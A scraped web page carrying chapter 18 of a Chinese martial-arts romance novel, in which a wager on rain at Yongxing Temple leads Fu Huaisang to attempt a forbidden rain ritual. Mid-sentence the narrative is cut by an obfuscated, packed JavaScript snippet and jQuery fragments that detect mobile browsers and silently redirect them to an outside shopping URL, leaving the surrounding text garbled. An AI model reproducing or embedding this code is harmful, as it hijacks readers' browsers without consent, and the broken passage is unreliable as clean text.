默认冷灰
24号文字
方正启体

18. 天有不测风云

作者:昭野燃犀本书字数:K更新时间:
    “你问谁?”


    “孟扶疏?”


    “我认识啊。”


    “无咎门谁人不知谁人不晓,渝州孟大侠,他都差点当任了下届的武林盟主。只可惜天有不测风云……”


    金狮楼内,玉声寒边吃边和沈卿卿说道,一边腮帮子塞得鼓鼓的,像一只松鼠。


    “不过,你突然问他干嘛。”


    “别吃了。这对阿姐有用。”


    “哦。”


    玉声寒连忙放下了筷子,嚼嚼嚼,顺了一口水,努力吞咽下去。


    如今,就连沈卿卿也见不到沈清莹了。沈天石也不太搭理她,给了她机会出来和玉声寒见面。


    她和阿姐的最后一面,阿姐告诉了她这个名字,但并没有说有什么用处。这次无意间和玉声寒提及,反倒是歪打正着。


    “你再多和我说说孟大侠的事情……把你知道的全部都告诉我!”沈卿卿情急之下,不自觉握上了玉声寒的手臂,对方面上浮现一抹粉色。


    “可、可以啊。”


    玉声寒将自己所知道的事情全都说了出来,沈卿卿从袖子里掏出小本本认真记起来。


    说到一半,他想到了什么:“我们现在都见不到清莹姐,知道这些也没用。”


    沈卿卿闻言顿住笔。


    她忘记了。


    这才是最重要的一件事!!!


    “没事,我来想办法。”沈卿卿一言九鼎道。


    半个月过去。


    她绞尽脑汁用尽各种方法,其中包括但不限于半夜偷偷潜入阿姐的房间、在阿姐吃的糕点里塞东西、假装在院子里放风筝传递……通通被拦截下来。


    现在二小姐的闺房固若金汤,沈卿卿忙活一通,连一丝可乘之机都没有找到。


    往往这种时候,就应该骂爹了,可惜骂爹也不能阻挡时间一点点流逝……


    亏她还认真整理了孟扶疏的生平,结果阿姐一眼也看不到。


    “阿姐,这次,我也无能为力了。”


    阿姐帮了她那么多,她很想帮阿姐的忙,同玉声寒夸下海口,奈何自身实力的确有限,她做不到的事情总是做不到,还连累阿姐。应该和玉声寒一起想办法,或许还能有得救呢。


    天气渐热,沈卿卿急在心里,嘴里生了口疮,疼得死去活来,精神状态恹恹的,做什么也有气无力。


    四月的末夜。


    守夜的丫鬟眼底一片青灰,已经开始打起盹儿来,房间内一片静谧。


    沈清莹打开窗子,夜风轻送,像在描摹爱人的眉眼,微凉而舒适。


    梳妆台上压着两封信,她都已经拆开过了。


    除了莫观雪的那一封,上面只有四个字。


    在下愿意。


    这个口吻,甚至没有署名,但她知道是谁。


    “卿卿,辛苦你了。”沈清莹道。


    眼底,全是势在必得。


    今夜,也是莫观雪和素喜约定的前一夜。


    月朗星稀,寒鸦凄叫。


    永兴寺山门前的一个亭子内,已经坐着两个人。


    夜空万里无云,银辉倾泻,洒在慕容淮与素喜的身上。


    “今夜如此亮堂,明日应是一片晴光。”素喜道。


    沈姑娘因为婚约的原因不方便露面见证也就罢了。


    而最为重要的莫姑娘未赴约,也未有任何消息。


    前来取而代之赴约的是素喜和慕容淮从来没有见过的一个男子。


    “小民参见陛下,见过大师。”傅怀桑淡然一笑道。


    他自称是莫姑娘的朋友,身上的穿着打扮却让慕容淮眉头微拧,黑袍底下的蓝衣雨青苗纹样,那是……他曾经在皇室养心殿的藏书阁里见到过的——布雨司。


    被埋没百年的雨师族。


    周国少雨,江河不多。每年饥荒无数。慕容淮自即位起,一直都想要重立曾经的布雨司一职,但始终没能成功。


    眼下,却有这么一个穿着旧日布雨司职袍的人站在他的面前。


    素喜还礼道:“贫僧与莫姑娘尚有五月初一的赌局未定,烦请你将莫姑娘叫来。”


    “小民是替莫姑娘前来的,莫姑娘赌的是雨。”


    “明日会下雨。”傅怀桑斩钉截铁道。


    “所以,大师赌什么。”


    素喜随口道:“方才与陛下提及,贫僧认为,明日应是万里无云,晴日。”


    “那便好。若小民没有记错的话,永兴寺后面有一祭雨台,可否借小民一用。”傅怀桑说着,解下了披在身上的黑袍,露出来里面的装扮。


    素喜的眼眸之中难得浮现出了几分讶异,不过很快便又恢复平静。


    永兴寺的前身确实是布雨司曾经的一个规模最大的祭雨台。


    慕容淮当然想要见识一下传闻当中雨师族的事情是否是真的,但也顾及着素喜大师的几分面子,毕竟这是他与莫姑娘的赌约。


    “请便吧。”素喜道。


    “多谢。”


    傅怀桑走后,慕容淮道了一句,“变数来了,这算是作弊吗?”


    素喜看着那个瘦削远去的身影,叹气应声,“陛下,是生死变数。”


    ……


    傅怀桑朝着祭雨台走去。


    迎着夜色,绕过兴盛的永兴寺,这里通往前方的道路布满湿滑的青苔,祭台已经荒废多年,难以分辨。


    他的耳边响起说话的声音,好像幼时母亲趴在他耳边的低喃,是幻听。


    “儿啊,你要听话,你身子骨不好,你爹生前格外交代我,不让你碰这个布雨之术。”


    “你呢,就老老实实地行医救人,做个普通人,等你以后有了孩子,再把这本书传给他。这样,也不算是断了传承。”


    傅怀桑想到这里,捏紧了衣袖,孱弱的身子不可控制地抖动起来。


    神思不定之际,步伐被一块翘起来的滑石绊倒,往前重重摔了一跤,身上糊满湿泥,一阵闷痛。


    “娘,我对不住你。”


    母亲只有他一个孩子,格外珍惜。小时候只要母亲叮嘱过他的话,他都会记在心里。


    这是他第一次,没有听话。


    傅怀桑爬起来,扑了扑身上的泥土,官袍沉重地压在他的两肩。他记起来先父说起过,为什么他们这一支的先祖选择留在了神京。


    当年的巫蛊之祸,代价相当惨重。死的死,残的残。


    当初怀着救世之心下山,如今却被当朝者这般对待,能逃出来的,都已经对神京大失所望。


    大家都想走。


    百年前布雨司的一个最低等的行雨使,说了一句话留


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480097|201687||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下来。


    “你们都走吧,我来为洛水城守着最后一滴雨。”


    傅怀桑也有想要守护的人。


    秉持着这般信念,他起身向前,终是找到了旧日地址。


    布雨秘术他已经偷偷练习了多日。这是雨师族的本领,自小便能将书中记载的秘术背得滚瓜烂熟,但从来没有施展过。


    苍白的手指紧张得有一些发抖。


    傅怀桑抬头望天。


    ……


    “莫姑娘……”


    莫观雪的脑袋发沉。


    外面是急促的敲门声震着她的耳膜极不舒服,但是身体却怎么也醒不来似的。


    “莫姑娘,莫姑娘!”


    “快醒醒,怀桑他不见了!”


    她猛地睁开眼,重重喘息,心悸地对视上大娘布满泪水的眼睛。


    这种状态十分不对劲。


    她有种被人下了蒙汉药的感觉。


    她一贯小心谨慎,谁会这么做?对方的目的是傅怀桑,难不成是傅家的仇敌?


    “莫姑娘,怀桑他突然不见了,用晚膳的时候人还在,半夜却不见了人影,莫不是被强匪给虏走了!”


    莫观雪随着傅家大娘前去傅大夫的房间查看,门锁完好,没有打斗挣扎痕迹,空气中也没有迷烟的余味。


    桌子上的晚膳没有动过,床铺也是整洁的。


    莫观雪暂时没有思绪。


    傅家大娘看着没用过的饭,抹泪道:“这么晚了,连饭还都没吃,他每回快要到了初一都是这样……忙着配药,不顾惜自己的身体。”


    初一……


    莫观雪突然想到了什么,心脏漏跳一拍,脸色愈发难看。


    今夜是她赴局的日子!


    她并没有忘记。


    事实上她今天一整天都在想,今夜赌什么才能胜率大一些。但是不知道怎么,下午的时候,她在九经堂干着干着活,忽而困意上涌,不知怎么睡着了。


    睡之前,只喝过傅大夫递过来的水。


    莫观雪大意了。


    傅大夫怕是瞒了她,替她去了永兴寺。


    从九经堂到永兴寺,步行约莫要半个时辰,傅怀桑连晚膳都没有吃,这会儿早就上山了。


    想到此处,她懊恼道:“大娘,都怪我。傅大夫现在应该是去了永兴寺,你在家里等着,等我回来同你细说,我把傅大夫全须全尾地送回来。”


    莫观雪冲出门去。


    心里只有一个想法。


    将傅怀桑暴揍一顿,解气。


    外头月冷似水,安静地牵绊在她剧烈的一呼一吸之间,凉风刺激着她保持头脑冷静,踩在青石上的嗒嗒声响愈发清晰。


    很快,喉间鲜血翻涌。


    她上次跑得这么快,还是在十年前,背着孟扶疏……到处找医馆。


    傅大夫,你可千万不能有事啊……


    否则,她就算是自裁也难以谢罪……


    ……


    月下的瘦弱男子,一举一动皆盛满月光。动作有一点生疏,但仍然让观者产生神秘而凄冷的感觉。


    天地生灵窸窣声响,都像是在为舞者伴奏。


    雨师族祈雨,可谓是百闻不如一见,这在当年也是万人空巷。


    慕容淮和素喜也是生平第一次见。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)